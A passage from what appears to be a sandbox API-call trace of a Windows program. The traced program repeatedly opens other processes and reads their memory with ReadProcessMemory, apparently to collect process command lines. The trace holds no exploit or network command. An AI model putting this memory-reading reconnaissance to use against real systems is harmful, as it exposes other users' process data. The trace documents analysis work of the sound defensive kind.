lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x7b95ec4f, dwBuildNumber=0x7ffa, dwPlatformId=0x70f7c860, szCSDVersion="\x06") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.648] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.665] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4a8) returned 0x464 [0295.665] GetLastError () returned 0x0 [0295.665] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.665] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.683] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.698] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103510, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.714] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b810312a, lpBuffer=0x670f7c2b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.721] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.760] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.760] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x251d53020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.788] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8102ad0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.817] malloc (_Size=0xd6) returned 0x196ef0d4e70 [0295.817] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x170b8103192, lpBuffer=0x196ef0d4e70, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0295.831] free (_Block=0x196ef0d4e70) [0295.832] CloseHandle (hObject=0x464) returned 1 [0295.833] _ui64tow_s (in: _Value=0x2d8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="728") returned 0x0 [0295.838] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="728") returned 3 [0295.839] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.839] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.857] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x2d8) returned 0x0 [0295.857] CloseHandle (hObject=0x0) returned 0 [0295.858] _ui64tow_s (in: _Value=0x614, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="1556") returned 0x0 [0295.863] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="1556") returned 4 [0295.864] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.864] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.882] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x614) returned 0x464 [0295.882] GetLastError () returned 0x0 [0295.883] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.883] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.883] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.883] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.883] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11948, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.885] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.886] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xe246cb3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c11330, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.887] malloc (_Size=0x7e) returned 0x196ef0faba0 [0295.887] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1eac3c119a8, lpBuffer=0x196ef0faba0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0faba0*, lpNumberOfBytesRead=0x0) returned 1 [0295.887] free (_Block=0x196ef0faba0) [0295.888] CloseHandle (hObject=0x464) returned 1 [0295.888] _ui64tow_s (in: _Value=0xd80, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3456") returned 0x0 [0295.893] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3456") returned 4 [0295.894] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.894] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.910] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd80) returned 0x464 [0295.910] GetLastError () returned 0x0 [0295.911] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.911] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.912] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x461d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.912] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4618f8, lpBuffer=0x670f7c2b0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.913] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.914] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.914] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x334020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.915] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.915] malloc (_Size=0x8c) returned 0x196ef0d5f00 [0295.915] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x46197c, lpBuffer=0x196ef0d5f00, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d5f00*, lpNumberOfBytesRead=0x0) returned 1 [0295.915] free (_Block=0x196ef0d5f00) [0295.916] CloseHandle (hObject=0x464) returned 1 [0295.937] _ui64tow_s (in: _Value=0xd88, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3464") returned 0x0 [0295.941] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3464") returned 4 [0295.942] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.942] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0295.958] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd88) returned 0x464 [0295.958] GetLastError () returned 0x0 [0295.959] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0295.959] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0295.959] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0295.959] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cd0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0295.959] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0295.960] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0295.962] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0295.962] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3f1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0295.962] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0295.962] malloc (_Size=0x68) returned 0x196ef0d03e0 [0295.962] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1958, lpBuffer=0x196ef0d03e0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0295.963] free (_Block=0x196ef0d03e0) [0295.964] CloseHandle (hObject=0x464) returned 1 [0295.965] _ui64tow_s (in: _Value=0xd98, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3480") returned 0x0 [0295.969] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3480") returned 4 [0295.970] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0295.970] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.015] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd98) returned 0x464 [0296.015] GetLastError () returned 0x0 [0296.015] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.015] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.015] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.016] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.016] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc18f8, lpBuffer=0x670f7c2b0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.017] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.018] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.018] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.019] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.019] malloc (_Size=0x88) returned 0x196ef0fa960 [0296.019] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0xc1978, lpBuffer=0x196ef0fa960, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fa960*, lpNumberOfBytesRead=0x0) returned 1 [0296.020] free (_Block=0x196ef0fa960) [0296.020] CloseHandle (hObject=0x464) returned 1 [0296.021] _ui64tow_s (in: _Value=0xda0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3488") returned 0x0 [0296.026] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3488") returned 4 [0296.027] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.027] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.059] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xda0) returned 0x464 [0296.059] GetLastError () returned 0x0 [0296.059] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.059] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.060] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.060] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d70, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.060] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.061] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.063] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.063] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3c4020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.063] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.063] malloc (_Size=0x9e) returned 0x196ef0d7b70 [0296.063] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56198e, lpBuffer=0x196ef0d7b70, nSize=0x9c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d7b70*, lpNumberOfBytesRead=0x0) returned 1 [0296.064] free (_Block=0x196ef0d7b70) [0296.065] CloseHandle (hObject=0x464) returned 1 [0296.065] _ui64tow_s (in: _Value=0xdb0, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3504") returned 0x0 [0296.070] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3504") returned 4 [0296.071] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.071] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.087] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb0) returned 0x464 [0296.087] GetLastError () returned 0x0 [0296.087] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.088] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.088] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.088] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.088] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f18f8, lpBuffer=0x670f7c2b0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.103] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.104] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0296.104] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x336020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0296.105] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0296.105] malloc (_Size=0x64) returned 0x196ef0d0370 [0296.105] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1f1954, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0296.106] free (_Block=0x196ef0d0370) [0296.106] CloseHandle (hObject=0x464) returned 1 [0296.107] _ui64tow_s (in: _Value=0xdb8, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3512") returned 0x0 [0296.112] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3512") returned 4 [0296.113] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0296.113] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0296.129] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdb8) returned 0x464 [0296.129] GetLastError () returned 0x0 [0296.130] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0296.130] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x363018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0296.130] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0296.130] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x581d30, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0296.130] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5818f8, lpBuffer=0x670f7c2b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0296.131] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0296.133] NtQueryInformationProcess (in: ProcessHandle=0x464, 